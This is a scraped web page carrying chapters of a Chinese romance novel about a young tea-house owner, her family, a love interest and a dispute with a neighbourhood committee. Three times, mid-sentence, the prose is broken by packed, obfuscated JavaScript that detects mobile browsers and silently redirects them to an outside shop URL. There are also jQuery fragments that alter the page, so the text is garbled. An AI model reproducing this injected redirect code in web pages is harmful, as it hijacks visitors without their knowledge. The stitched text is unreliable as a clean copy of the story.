d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024165|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“爸,我妈......还好么?” “脸色不太好,回来之后就把自己关在房间里,问她什么也不说。” 余念念沉默下来,良久,余父温和的声音说道:“不用担心,你妈妈的脾气硬了一辈子了,一时半会儿也软不下来,慢慢的,她自己想通了就好了。” “爸,其他的我都可以听你们,但这次,开茶馆这件事,我一定会做下去的,您帮我劝劝我妈吧。” “哎,这次怪我,说漏了嘴,你妈又从东安乡你周叔那里要到了地址,她走之前就一直念叨着这次必须把你抓回来,我跟她说,女儿不是犯人,她不听,我也劝不住。这次去,她没给你捅什么篓子吧?” 余念念:“......还好吧,不算太大。” 电话那端突然一阵嘈杂,接着,年轻小男生的声音传过来:“姐!你太酷了吧!居然瞒着妈开了间茶馆!我膜拜你!” 余念念隔空翻了个白眼:“余玩,你复习得咋样了?这次模拟考考几分?” 电话那头受刺激地吼了一声,接着,又贱兮兮地飘来一句:“除了茶馆,妈还从周叔那套出你有个关系很好的男同伙,陪着你去乡下收茶叶的,咋样,见到了么?” 余念念:“......注意你的用词,什么叫‘男同伙’?!那是我朋友!” 她听到身后传来脚步声,回头看,白砚走了过来,于是匆匆对着电话扔了句:“好好学习,少八卦!”便挂了电话。 回过身,白砚看过来的眼神里闪过一丝担心,她有些尴尬地笑了笑:“不好意思啊,今天让你看笑话了......” 白砚摇摇头,看向老街深处:“互相在乎的人,怎么能说是笑话。” “你肯定......没经历过这样的窒息时刻吧?” 白砚微微笑了笑,看了她一眼:“说起来你可能会觉得不可思议,我有点羡慕你有这样的时刻。” 余念念愣了:“嗯?羡慕我?” “嗯,像魏老说的,我从小到大很自由,却也很孤单。” 余念念看着他有些孤寂的背影,想起关于他父母的“空白”,手伸出去想摸摸他的脑袋,但又迟疑着停在半空。 白砚似乎察觉到气氛有些凝重,扭头看她——她赶紧收回手——问:“你刚刚说,‘男同伙’?是我么?” 余念念“啊——”了一声,干笑道:“周叔招架不住我妈的审问,供出了有个男人陪我去东安乡的事。” 白砚眼神转了半圈,问:“那不应该是‘男朋友’么,为什么是‘男同伙’?难听。” 余念念瞪他:“‘男朋友’也好,‘男同伙’也好,都是假的,纠结这个干嘛!” 白砚:“如果需要的话,我可以牺牲一下,角色扮演。” 余念念:“谢谢,不用。” 白砚:“就像你说的,为了我家店铺能继续租出去,我什么都愿意干。” 余念念:“......白砚,你怎么这么记仇?还有,你现在的话有点多,我还是喜欢你冷冰冰的样子!” 20. 暗涌 三楼天台的开发紧密进行中。 经历了余妈大闹茶馆那一幕之后,余念念心里憋了口气,茶馆的经营成为了头等大事。如果说最开始,茶馆只关乎她个人的尊严和前途,那么现在,还关联了老街上一群默默支持她的人,这些人在她的心里的重要性正日益增加。 所以,最近茶馆里客人常常见到的一幕是,余老板咬牙凝眉,在柜台后苦思冥想,时不时在小本本上画些别人看不懂的布局图,偶尔“啊”地一声灵光乍现,站起身便冲上楼梯。 继露天桌椅布置完成后,下午来蹲点日落的年轻人便有了坐的地方,余念念在三楼楼梯口摆放了一口大茶壶,喝完小壶茶的客人不用哼哧哼哧提着茶壶下楼加热水,也少了摔碎茶壶的风险。趁着上来添热水的时候,余念念常常顺口调研几句,在她的小本本上记下来。 过了两天,几台自动售卖机摆在了靠近楼道的另一侧,里面是常见的小零食,可以快速补货,又不需要专人维护。 又过了两天,两台抓娃娃机摆在了售卖机旁边,立刻成了三楼的抢手货,常常一个人玩,两三个人围观,外加三五个人排队。 一周后的一天晚上,茶馆已经打烊,余念念牵着沈童的手把她带到三楼天台的一侧,让她躺在一张宽大的躺椅上,从口袋里变出个遥控器,按了一下,躺椅前的地面上缓缓升起一块大大的幕布,老电影的画面和字幕逐渐浮现,柔和的音乐声随之飘荡而出。 “嚓嚓”两声,余念念打开两瓶起泡酒,递了一瓶给沈童,自己灌了一口,在旁边的一张躺椅上躺了下来,长长出了口气。 沈童“噗”地笑出声:“余念念,你知道你刚刚这一套操作像什么么?” 余念念转转眼球:“魔术师?” 沈童:“像在追女孩儿。” 余念念:“可不是么!客人就是我的男神女神,我所做的一切都是为了跟他们好上一段,哪怕只是露水情缘。” 沈童笑出了声。 余念念兴奋地在躺椅上翻了个身:“在我的计划中,茶馆的一天是这样的:早上,我在晨光里开张,迎来下棋大爷和吃完早饭等着喝杯热茶聊聊天的街坊们,上午的时间都交给象棋和老街上的客人,有人下棋,有人看棋,有人争论,有人发呆。到了中午,棋下完了,街坊们回家吃饭,我就可以边收拾茶馆边休息,或许还可以跟小优轮流睡上一觉。” 她越说越兴奋,两手交叉枕在脑后:“到了下午,就要为日落做准备了。两三点钟,年轻客人开始陆陆续续多起来,他们大多直接上到天台,点杯喝的,一边干自己的事一边等日落,没正事的就玩玩游戏聊聊天,日落时,所有人都被老街那一侧的绝美风景吸引,要么疯狂拍照,要么默默欣赏。” “这时,日落餐车开始为他们开放,”她抬手指了指某个方向,黑暗里有一团模糊的餐车形状,“他们可以吃点东西再走,也可以离开,等下一次想看日落时再来。要是有人夜晚时留在这里,就可以享受晚间的微醺电影,播放的都是安静温暖的老电影,配上一杯酒,扫去一天的疲惫,舒服又惬意。” 沈童听着听着,舒服地闭上了眼,嘴角逐渐上扬,待余念念话音落了,她便高高举起一只手,竖起大拇指:“作为年轻人,我已经爱上了这个天台!” 受到鼓励的余老板开心极了,猛地灌了口酒,仰头躺着望天。 沈童转过身看着她,问:“你妈那边,你打算怎么办?” 余念念的脸僵硬了片刻:“没想好......至少,得等茶馆开始盈利了,我才敢回去面对她......” “那过年怎么办?要不上我家过?” 余念念想了想:“不了,我就留在老街过吧,别人不说,白爷爷说不定会邀请我去他们家过年。” 沈童“蹭”地一下坐起来:“你要去天仙男家过年?” 余念念:“......你别听风就是雨的,我是说可能!” 沈童眯着眼睛凑近:“你没深夜拉天仙男上来体验?” 余念念呼吸一滞,转过身背对着沈童:“无聊,谁带他那个冰块来体验呐......” 沈童狐疑着躺了回去,没再追问,余念念默默松了口气,不敢想象沈童要是知道白砚早她一步就来参观过夜晚的天台,会是什么反应。 ...... 前一天晚上。 余念念摸黑领着白砚上了楼梯——为了营造神秘感和氛围感,她故意没开灯——结果在楼梯口就被台阶绊了一下,差点脸着地,还好白砚眼疾手快地拦腰捞起了她,更庆幸的是天黑看不清她红了的脸。 介绍到“日落餐车”时,白砚被这个词逗笑,余念念板着脸,问他是不是有意见,他摇摇头,正色道:“提供什么菜色?我可以来蹭饭么?” 余念念:“没想好,不可以。” 介绍到“微醺电影”时,白砚又低头发出闷闷的笑声,这次,终于忍不住问:“余念念,你哪来这么多词?是不是之前上班写PPT时养成的强迫症?” 余念念气结,更可气的是,她想不出话来反驳,因为白砚说的很有可能是事实——毕竟前广告公司准优秀员工的班味没那么容易散掉。 最后,坐在躺椅上,看着幕布上亮起的画面时,余念念期待地问:“感觉如何?有没有很想在这里看一场电影?” 夜色里,白砚眼睛亮晶晶地看了她片刻,回道:“我想看恐怖片,可以么?” 余念念:“......不好意思,本人从不看恐怖片,没有存货。” 白砚举起手机:“正好我手机上有部没看完的,我现在投一下。” 余念念蹦起来一手捂眼睛一手捂耳朵——结果自然是什么也捂不住——嘴里大喊“不要”,原地蹦哒起来。 白砚怕她撞到什么,赶紧起身,说着“没投没投”,试图让她冷静下来,但收效甚微,她还是像安了发条一样蹦哒,于是,白砚伸长手,用力按在她脑袋上,扯下她捂着耳朵的一只手,凑近她,低喊:“我不投了!” 热气打在余念念耳朵边,终于让她安静下来,一睁眼,两人间的距离又近到让她开始无措。 好在,下一秒,白砚便退后了一步,带着一脸笑意躺回了躺椅上,慵懒地叹息道:“就算不看电影,看看星星,也很好。” 好好好,你有心思看星星了现在!余念念一脑门邪火无处发泄,瞪着屏幕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033444|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一动不动地缓了很久,后面的剧情一点都没进脑子里。 —————— 接下来的一周,余念念一点点地看着自己想象中的画面成为了现实。 上午,一楼的茶馆大堂里,象棋比赛你方唱罢我登场,棋王称号老街大爷群起争之,一帮爱热闹的街坊邻里围观的围观,点评的点评,劝架的劝架,看戏的看戏。 下午,年轻人在三楼天台开启下半场。WB热搜带来的人流量来的来,走的走,沉淀下一批稳定的客群,茶馆天台仿佛成为了他们的精神后花园,他们在楼顶想干什么就干什么,只要不摔碎老板最爱的陶瓷茶壶,基本上没人干涉他们的自由。 这天晚上七点多,在天台给一群年轻人点播好一部文艺电影后,余念念下了楼,挎上一左一右两只大口袋——左边的是一袋子汉堡三明治之类的吃的,右边的是一袋子酒水饮料——便往颜喜书画斋的方向走着,她要去找白老和白砚试吃试喝,为餐车的选品做最后的敲定。 路过自己家楼下时,李婶从窗户里看见她,喊了声“小余”,快步走了出来,将她拉到屋里。 “怎么啦李婶?”余念念不明所以。 李婶问:“最近老街居委会有去茶馆找过你么?” “老街居委会?”这个名字第一次进入余念念耳中,她摇摇头:“他们为什么要找我?” “我也不知道呀,”李婶有些困惑地说道,“今天白天居委会的小陈来找我打听跟你有关的事,问你是不是租我家的房子,租了多久了,什么时候开的茶馆之类的。” “为什么不直接问我,他们不知道我在开茶馆么?” “怎么可能!老街茶馆开张这么久了,老街上谁还不知道是你小余开的。我也跟小陈说,有什么事直接去茶馆找你就行,可他说是领导安排的,要先从侧面了解下情况。” 余念念皱眉:“侧面?了解情况?怎么听着不像好词?” “可不是么!小余,你最近没得罪什么人吧?” 余念念仔细想了一阵子:“除了我妈,没别人了。” 李婶点点头:“那么,再观察两天吧。” 从李婶家出来,走到颜喜书画斋,刚跨进店门,白老就迎上来:“小余,你来的正好,我正要让白砚去找你呢。” 余念念将两个大口袋递给白砚,跟着他俩进去,坐到沙发上。 白老问:“小余,老街居委会的人有去找你么?” 余念念惊讶道:“又是老街居委会,他们也来找您侧面了解我了?” “今天白天,他们来问我为什么将店铺租给你,租了多久,租金多少,跟你的关系如何......” “什么叫跟我的关系如何?这个组织也太奇怪了吧!” 白老沉吟道:“居委会是正规单位,应该不会有什么危险,只是他们的举动确实让人摸不着头脑。” 白砚看着余念念的眼睛,认真道:“最近茶馆生意好,进进出出人多口杂,凡事要更谨慎一点,有什么事喊我一起。” 余念念心头一暖,正要点头,脑子里突然闪过些什么,蹭地站起来便往外跑,边跑边喊着:“我回茶馆取个东西,等我一下!” 21. 交锋 十分钟后,颜喜书画斋。 余念念的笔记本电脑摆在了茶几上,她坐在沙发中间,白老和白砚一左一右坐在她身边,三人都聚精会神地盯着电脑屏幕。 画面上,是被监控记录下来的,曾经来过茶馆两次的神秘男人。 “白老,您认识他么?”来回跑了两趟,余念念气都没有喘匀。 “看着是有点眼熟......但是又想不起来到底是谁。” 确实,这人实在是长了张大众脸,若不是连着两天晚上临近打烊的时候进茶馆不理人瞎晃悠,压根不会引起别人注意。 余念念边思考边缓缓说道:“有没有一种可能,这个人也在老街附近开店,可能和我的茶馆有某种竞争关系,同时,他在居委会还有认识的人,所以可以托人来打听我的情况?” “我想起来了,”白砚突然直起身子,看向白老,“他是倒数第三任租客。” 白老闻言恍然大悟,站起身走到桌子前,打开抽屉,从下面翻出张旧合同,又带上老花镜:“找到了,叫孙林,今年一月份租的。” “啊,今年一月,就已经是倒数第三任了么?”余念念惊道。 白老笑起来:“可不是么,我这个店铺可不是随随便便就能经营好的,拿这个孙林来说,他开了间奶茶店,生意一直不好,第二个月就说撑不下去,第三个月就退租了。哦,我想起来了,因为他是居委会孙伟介绍来的租户,当时我们还减免了他第三个月的房租。” “那就没错了!白爷爷,这个孙伟在居委会是什么职务?” “居委会总共没多少人,有一个主任,两个副主任,几个普通员工,孙伟是副主任,上门来找我打听你消息的小陈是普通员工。” 余念念点点头:“那我心里有数了,明天一早,我就主动去会会这个老街居委会,也免得人家说我余念念不懂事,在老街做生意却没有眼力见不知道拜码头。” 听她说得像道上黑话,白老担忧道:“别起什么冲突,要么,让白砚陪你去吧。” “不用,您放心吧,我会见机行事的。”眼珠子一转,余念念又凑到白老身旁,低声问:“这居委会里,有谁家大爷爱下象棋的么?” ...... —————— 第二天一早,余念念提着一大包东西走进老街居委会办公室。 这是座位于老街深处的二层小楼房,房子有些年份,白墙黑瓦,看上去朴实无华。位于一楼的办公室里,依次摆了几张办公桌,几个中年男女已经坐在桌子后面,一个年轻男人正在位于门口的饮水机前接水,见余念念进了门,惊讶地脱口道:“余老板?” 余念念扬起眉:“您认识我?” 她记性很好,正式认识过的人很少忘记,但这人却只尴尬地笑了笑,没回答。 余念念了然地也对他露出微笑,伸出只手:“是小陈老师吧?您好,我是余念念。” “您好,我叫陈帆。”与她握手时,陈帆脸上的笑意带了丝歉意,握完,便端着接满热水的茶杯走到屋内,送到位于最里面的一张桌子上。余念念遥遥瞟了眼那张桌上挂着的名牌,不动声色地站在原地,摆好表情。 “各位好!我是老街茶馆的店主余念念,前阵子开张忙忘了,这不,昨天经李婶和白老提醒,才发现还没拜访老街居委会的各位,我带了我们茶馆的茶叶寒亭夕照,请各位尝尝,如果觉得喝着不错的话,我以后经常给各位送来。” 说着,余念念从大口袋里掏出寒亭夕照茶叶礼盒,一个一个地递到每张桌上。 陈帆的桌子在进门第一张,他局促地站起身,双手接了过去,嘴里道了谢。 其他桌的几个人也和和气气地接了过去,一脸笑意地攀谈几句:“客气了”,“费心了”,之类。 到了最后一桌,挂着“孙伟”名牌的桌后,一个约莫四五十岁的中年男人直直靠在椅背上,看到递到眼睛下边的茶叶,动都没动一下,从鼻孔里喷出口气,头扭向另一侧,俨然一副上位者对下位者的姿态。 余念念收回手,礼貌地问:“孙老师是不爱喝茶么?” 孙伟依旧不拿正眼看余念念,盯着另一边的空气,嘴里冒出声冷笑,说道:“现在的年轻人呐,尽钻营些歪门邪道!不想着怎么做好本职工作,就想着靠送礼拉关系来搞业绩,怎么可能干得长久,真是一代不如一代啊!” 整个办公室都安静下来,其他人坐在桌子后面埋着头盯着电脑目不斜视,陈帆一脸泫然欲泣的表情回头看了几眼,又不敢过来。 余念念一看,这就是不要礼,要直接兵了。她轻轻“啊”了一声,问:“孙副主任,您刚刚训的,是小陈老师么?” 在“副”字上,着重加强了语调。 不待孙伟回答,她又接着说道:“肯定是了,您是居委会领导,我不是您的下属,这屋里最年轻的就是小陈老师了。” 孙伟终于扭过头来直视余念念,两只眼睛瞪得老大,见他嘴巴微张要说话,余念念赶紧又接上:“那我要为小陈老师说句话了。他一看就是又礼貌又亲和的人,这么有礼貌的人,要调研我的茶馆,却不直接找我本人,而要去叨扰白老和李婶,肯定是遵从领导的意思。他这么听领导话了,您还不满意么?” 孙伟眼睛快要瞪出眼眶,鼻子里喘着粗气:“你一个二十来岁的丫头片子,不知道从哪个犄角旮旯里冒出来的外地人,在老街上才开了几天的店,也值得我去调研?!” 很好,这是直接撕破脸了,余念念伸出手,一个指头一个指头往下压:“年龄歧视,性别歧视,地域歧视,您一个居委会副主任,怎么一句话能鄙视这么多东西?这个工作可以这么嚣张么?您就是用这种方式来帮他出气的吧?那个连三个月都撑不下去灰溜溜走了,见我生意好又像只老鼠一样冒出来阴暗爬行的孙林就是您亲戚吧?这就是您这一代做的好表率么?!” 孙伟胸膛剧烈起伏,手指颤颤巍巍地戳向余念念,眼睛气得快要冒出火,“你!”了半天,也没“你”出半句话。 余念念举起手腕,看了看时间,差不多了,退了几步,看向门口,果然,几个熟悉的身影鱼贯走了进来。 “魏大爷王大爷刘大爷!你们来啦!”余念念迎上去,办公室里坐着的几个人也都站起来,惊讶地看着这几个在老街上颇有威望,平日里基本上可以横着走的老大爷们。 “......爸,您怎么来了。”孙伟站起来,冲刘大爷喊了声。 余念念差点憋不住笑,转身退了几步,退到陈帆旁边,冲他挤了挤眼睛,陈帆原本煞白的脸色微微缓和下来。 昨晚,从白老口中得知刘大爷是孙伟的岳父后,余念念就开始提前为孙伟默哀,何必呢?但她也留了余地,只说第二天要去居委会拜访,想请几位德高望重的大爷陪着壮胆,并没有捅破孙伟在背后搞小动作的事。 刘大爷乐呵呵地冲余念念摆摆手:“小余头一回来居委会认人,怕露了怯,我们几个老头子过来陪陪,毕竟我天天在她茶馆里下棋嘛,哈哈。小余的茶馆挺不错的,你们有空也去坐坐!” 孙伟的喉咙像被什么东西堵住了,半天,才憋出句话:“爸,您不都在河边下棋么?” “嗨!我都在茶馆下了多少天棋了,在家吃饭的时候我不都说过好几回了,你是一点都不上心啊!” 孙伟不敢再说什么。这时,坐在孙伟隔壁桌子的一位中年女人冒出句:“我爸也在茶馆下棋,他还夸你们茶叶好喝呢!” 王大爷接道:“哦老肖啊!老肖下棋不行,茶倒会品!” 魏大爷“啧”了一声:“你成天这个下棋不行那个下棋不行,就你最行!我问问,你总共拿了几天的‘棋王’?” 王大爷声音弱了半截:“九天,比你少六天。” 魏大爷刘大爷齐声笑起来,办公室里的气氛缓和下来。 余念念见战果达成,带着一脸笑意道:“我余念念是要在老街做长久生意的,承蒙各位大爷抬爱,对我的茶馆多有照顾,以后,也请居委会的各位老师多多指教,我们一起为老街添砖加瓦,一起越来越好!” “好!”“小余说得真好!”“余老板有格局哦,老街就需要你这样的商户!”大爷们纷纷鼓掌称好。 余念念向来懂得见好就收,正要跟着几位大爷一起告辞出去,这时,房间尽头一角的楼梯上突然传来道低沉的声音:“余老板留步!” 余念念回头望去,看见一位头发花白、相貌儒雅的男人缓缓从楼梯上走了下来,微笑着看着她。 “常主任。” “常主任!” 居委会的众人纷纷起身冲来人道。 “哟,常主任下楼了,小余,你面子不小呀,哈哈。”王大爷打趣道。 余念念有点摸不着头脑,不过,她能感觉到,这个常主任似乎很有威望,且轻易不下楼,刚刚楼下又是争吵又是哄笑,他在楼上倒耐得住性子,只是这时,不知为什么要留下她。 “常主任,您好。”余念念恭恭敬敬地打了声招呼。 “想必常主任有话要对你说,小余,我们先去茶馆下棋咯!”上午时间快过半,魏大爷急着下棋,将余念念往前推了推,领着另外两人匆匆走了。 常主任冲余念念招招手:“余老板,请上楼说话。” 楼上是一间打通的大办公室,虽有些老旧,但装饰得颇为考究。余念念对家具不是很懂,却也看出桌椅、沙发、茶几等均是上好的材质,表面泛着经久耐用的光亮。一张宽大的办公桌对面,一整面的墙上挂满了各种各样的照片,一眼看过去,就可以看出这些照片横跨了很长一段时光。 见余念念眼神在照片上扫视,常主任笑着摆摆手道:“这都是我们常家先辈早年间在老街做生意时留下的照片,都是陈年黄历了,就不给你多做介绍了。” 余念念一眼就看出好多照片里的宅子都是老街上现在还留存的建筑,有三层洋楼,有临街店铺,还有一张,就是他们目前所在的居委会的两层小白楼。 常主任顺着她的视线,目光落到小白楼上,倒是愿意多说两句:“这间楼原来是我们家的一间铺子,后面,自愿捐给老街做公用,我们常家从我往上三代,都在老街生活,对这里感情深,也愿意在这里养老。只是,我的子女都不愿意再留在这里,他们出国后,我就独自一人生活在老街,本想做个闲人,可那些老家伙见不得我闲着,非让我当这居委会主任,哈哈,你替我评评理,他们自己天天下棋喝茶,却扣着我在这里上班,是不是太过分了。” 余念念不敢说话,一边是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045114|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的衣食父母象棋大爷,另一边是刚认识就让人隐隐察觉出地位很崇高的大爷,两边都是大爷,叫她怎么评理。 见她拘谨,常主任冲她摆摆手,让她坐在沙发上,笑着道:“余老板,我刚刚听到你讲话,觉得很好。” 余念念连忙道:“常主任,您叫我小余就好。” 常主任点点头:“本来,居委会的小事我不插手,都交给他们小辈们去做,但是,刚刚听你说话,倒令我对你这位茶馆老板生出了好奇和敬意。” 余念念不好意思地干笑两声,刚才说话?刚才她不是在吵架么...... “女人做生意本来就不容易,何况是像你这么年轻、又在老街上没什么根基的女性,这么快就将那间店铺给盘活了,肯定是花了不少功夫的。你跟那群下棋的老家伙关系处得很好,又说你要在老街做长久生意,这说明你已经把老街当作半个家了,光这一点,就跟之前那些租户不一样。” 余念念认真地点头:“常主任,茶馆对我而言,已经不仅仅是生意了。” “好!好啊!你刚刚还说,要一起为老街添砖加瓦,要跟老街一起越来越好,我没听错吧?” 余念念:“没听错,这是我心里话!” 常主任笑着深深点了点头:“老街上,上了年纪的人越来越多了,我们居委会本来就想为这些老住户提供更多又安全又有意思的的娱乐活动,你的茶馆和你所办的象棋比赛无意中已经帮助我们起到了这个作用,那么我想,我们是不是可以更紧密地合作,将你的茶馆利用得更加充分?” 余念念愣了一会儿,下意识道:“我的茶馆二楼,现在还空着。” 常主任沉吟片刻,站起身,走到书桌前,从抽屉里拿出一叠东西,说道:“我有一个提议,不知道,你意下如何。” ...... —————— 从老街居委会出来,到颜喜书画斋,短短一段路,余念念晃晃悠悠走了十来分钟。 迈进书画斋大门,她惊讶地看到白老、白砚、李婶都坐在沙发上,见她进来,齐刷刷地坐直了身体,看过来的眼神里满是担忧。 “小余,情况如何?”李婶问。 “小余,他们没为难你吧?”白老问。 余念念低下头,拖着步子走进去,一屁股坐在沙发对面的椅子上,长长叹了口气。 白砚从沙发上站了起来,走到她身前,蹲下,从下方看着她的眼睛,温声问:“受欺负了?” 余念念缓缓摇摇头,道:“计算器呢?我现在急需一块计算器。” 白砚起身,从柜台前翻出一块不知道多久没用过的老式计算器,递到她手上,又盯着她在计算器上戳来戳去,白老和李婶也在对面目不转睛地等着她。 戳着戳着,余念念嘴角渐渐压不住,她抿起嘴,眼睛的弧度又出卖了她,慢慢地,笑意扩散到整张脸上,她“唰”地一声站起来,从包里掏出什么,举过头顶,大声道:“我宣布!老街茶馆从今天开始,回本啦!!” 对面三人面面相觑,白砚从她手中抽出那叠纸,翻开,念道:“老街居委会跨年迎新晚会合作协议书?” “常主任定下来的!要委托我的茶馆来承办今年岁末的新年晚会,并且,这只是一次初始的合作,如果办得好,他会将后续的其他活动也委托给我的茶馆!” “常主任?!老街背后隐藏的大佬!小余你竟然和常主任合作上了!”李婶惊喜道。 “哈哈哈,老常这个家伙,天天在二楼呆着玩神秘,我都快忘了他也是居委会的人了,不过,他看中了你的茶馆,这个结果我倒是一点不意外。”白老笑着说道。 余念念开心得快要起飞:“这次新年晚会的合作,常主任就会转给我一笔巨款,从明天开始,茶馆的二楼又要开发起来了!我余念念扭亏为盈啦!过年可以回家见我妈啦!” 余念念一把抱住李婶,忍不住在她脸上亲了一口。又抱住白老,带着他慢慢转了个圈。 放手后,看到白砚笑着看她的脸,倒是定住了,干咳一声,不自然地垂下手。 “怎么,我不值得分享喜悦么?”白砚沉声问。 余念念踌躇片刻,举起双手,环住白砚的腰,给了他一个浅浅的拥抱,正要松开,却被一双胳膊紧紧箍住,白砚的声音在她耳边响起:“要抱就好好抱,余老板怎么扭捏起来了。” 余念念激不得。 她抱着白砚转了半圈,避开白老和李婶的视线,冲着他的耳垂下方轻轻吹了口气,满意地感觉到对方浑身一紧,环住她后背的力道又重了几分。 “怎么样?还扭捏么?”她轻声问。 “......算你狠。”白砚咬牙切齿道,趁着白老和李婶还没察觉异常,松开了手。 余念念志得意满地扬着脑袋,将协议书小心塞进包里,和白老道了别,拉着李婶就要往外走,走到门口了,突然想起什么,又慢慢地退了回来,走到白砚面前。 “怎么?”白砚的脖子还泛着微红,声线有些不稳地问。 “那个......”余念念现在的样子,着实是有些扭捏,“茶馆盈利了,我不跑路了,那你的话还有效么?” “什么话?” “陪我回家......角色扮演?” 22. 浆糊 “角色扮演?”沈童问。 余念念点点头。 “哪种角色扮演?像我和老田玩的那种角色扮演么?” 余念念小脸一黄——田桓是沈童从大学谈到现在的男朋友,两人从谈恋爱开始就没顾忌过余念念这颗电灯泡,最近老田工作调动,俩人开始异地,才少了在她面前上演一些恩爱场景的机会。 “不是,是小孩子过家家那种角色扮演,他演我男朋友,我演他女朋友。” 沈童翻了个白眼:“余念念,你都多大了,还玩这种幼稚游戏!” 余念念“哈?”了一声,皱眉道:“直接玩你那种?这......我不会啊......” 沈童冲着她后脑勺拍了一下:“我是说,为什么不直接谈恋爱!你们俩都单身,大可以直接交往试试,合得来就继续合不来就分开,比玩什么角色扮演不简单直接得多?” 余念念回想了一下,白砚给她拍背影照,在论坛里冒头帮她指路,似乎是对她有些特别的,但转念一想,都特别了,他也没有提出交往的请求,而是提议陪她角色扮演,似乎又没戏。 她摇了摇头:“白砚可能是没看上我,他都是为了他家的店铺。” “那你呢?你看上他没?” 余念念脑子里迅速浮现出一些画面,白砚在病床上冲她温柔地笑着,白砚拍日落时与她长长地对视,白砚在夜晚的天台贴着她的耳朵说“我不投了”,白砚蹲下来问她“受欺负了?”...... “......看上又怎样,不看上又怎样?我现在要把全部精力放在茶馆上,没心思找男人。” “那你还找他玩角色扮演?”沈童一脸“我早就看穿你”的表情,贴到她脸上问。 “我还不是为了过年回家的时候应个急,男人嘛,你当他是个工具,他就是个工具喽。” 沈童斜着眼睛瞥她:“小白装渣女,我看你能装到几时!” —————— 跟沈童从二楼下来后,她们找了张桌子详细谈二楼的装修方案。 沈童是崇安市一家室内装饰公司的设计师,茶馆一楼三楼都是按照余念念的想法布置的,没轮到这位设计师出马,这次新年晚会时间紧任务重,二楼又实在空无一物,余念念思考之后还是把沈童请来出主意。 “照你说的,常主任的意思是,要让茶馆二楼成为老街居民的活动室?” 余念念点头:“是这个意思。居委会的小楼地方小,也老旧,平常也没什么人愿意去,常主任不愿意再折腾。我这里已经聚集了一些人气,索性需要举办一些活动的时候直接来二楼,二楼不够的话一楼和天台也能用上,平常没活动的时候,二楼我想怎么用还是可以怎么用。” 沈童勾着红色卷发思考了一阵子,说道:“先留白。” “留白?” “嗯,先弄弄干净,刷上白墙,摆上一些中式的桌椅和花花草草,但不要追求过多的装饰。既然是作为老街的活动室,那就由老街的人和事来慢慢将它填满,可能未来某个时间,墙上会挂满老街的照片,但现在,先留白。” 余念念猛地拍了下桌面,冲沈童竖起大拇指:“不愧是有想法的设计师!说得好有道理!将来某一天,我的二楼说不定也像常主任的办公室那样,挂满老街所有人的照片,而我,余念念,就是这一切美好回忆的塑造者和守护者——老街茶馆余老板!” 沈童靠向椅背,双手抱臂一脸笑意地看着她发疯,末了,认真地冲她说道:“念念,我收回一开始的话。” 余念念一愣:“一开始的什么话?” “一开始知道你要在这个地方开店时,给你泼的冷水。现在,我觉得,你跟这个地方很适配,你和老街之间真的有了某种牵绊。” 余念念回头扫了圈茶馆大堂,冲沈童扬了扬嘴角:“这才哪儿到哪儿啊,这牵绊还浅着呢,我要纠缠得更深!” “你语文怎么学的?纠缠可不是个好词!且只适用于人和人之间,来我帮你造句:我要和天仙男互相纠缠得更紧密。” 余念念站起身,一把捂住沈童的嘴,顾左右而言他:“跨年晚会你会来吧?” 沈童拍开她的手:“12月31号是你生日,我当然会来。” —————— 晚上,余念念又抱着小本子走到了颜喜书画斋。 一进门,白砚从柜台后抬起头,两人目光短暂对视了一秒,都有些慌乱地避开了。 “我......我来找白爷爷讨论跨年晚会的方案。”余念念低着头道。 “哦......只找他么?”白砚问。 “......还有你。”余念念内心抓狂,这什么莫名其妙的对话! 进了店里,坐到沙发上,余念念摊开小本子,请白老和白砚给她详细介绍老街街坊的情况,尤其是她还不熟的街坊。 “老街上,一半商户一半住户,这一半商户里,多半也跟住户有些亲属关系,这住户里,有一大半都去你的茶馆里下过棋喝过茶,要说你完全陌生的,倒真不多了。” 余念念用笔杆子一下一下点着下巴:“那有没有独居的住户?独居住户可能是常主任想重点关怀的对象。” “老街上挤着一家三代十几口的不少,独居的倒真是不多,老魏是一个,不必说,还有的......”白老沉思片刻,道:“还有就是小潘了。” “啊,这个小潘莫非是......”余念念迟疑着看向白砚。 白砚点点头:“是老潘照相馆的老潘。” 余念念想起之前和沈童在照相馆看到的惊魂一幕,老潘身材臃肿,脸上布满皱纹,年纪应该五十岁上下左右,对于她和白砚来说是老潘,对白老来说,确实是小潘。 “说起来,我在老街开茶馆一个多月了,还从来没见过他出来呢。” 白老叹了口气:“他是个可怜人,年轻的时候生活也是美满的,有老婆有儿子,朋友也不少,他呢,爱跟朋友喝酒,有次喝多了,睡在了朋友家里,结果就那么巧,那晚他家里着了火,他疯了一样往火里跑,结果被掉下来的木头砸断了腿,脸也烧出了疤,到最后,他老婆儿子还是没能救出来......” 余念念唏嘘地轻声问道:“那他......还拍照么?” “说起来也是怪事,那晚,他家后面的房间烧得不成样 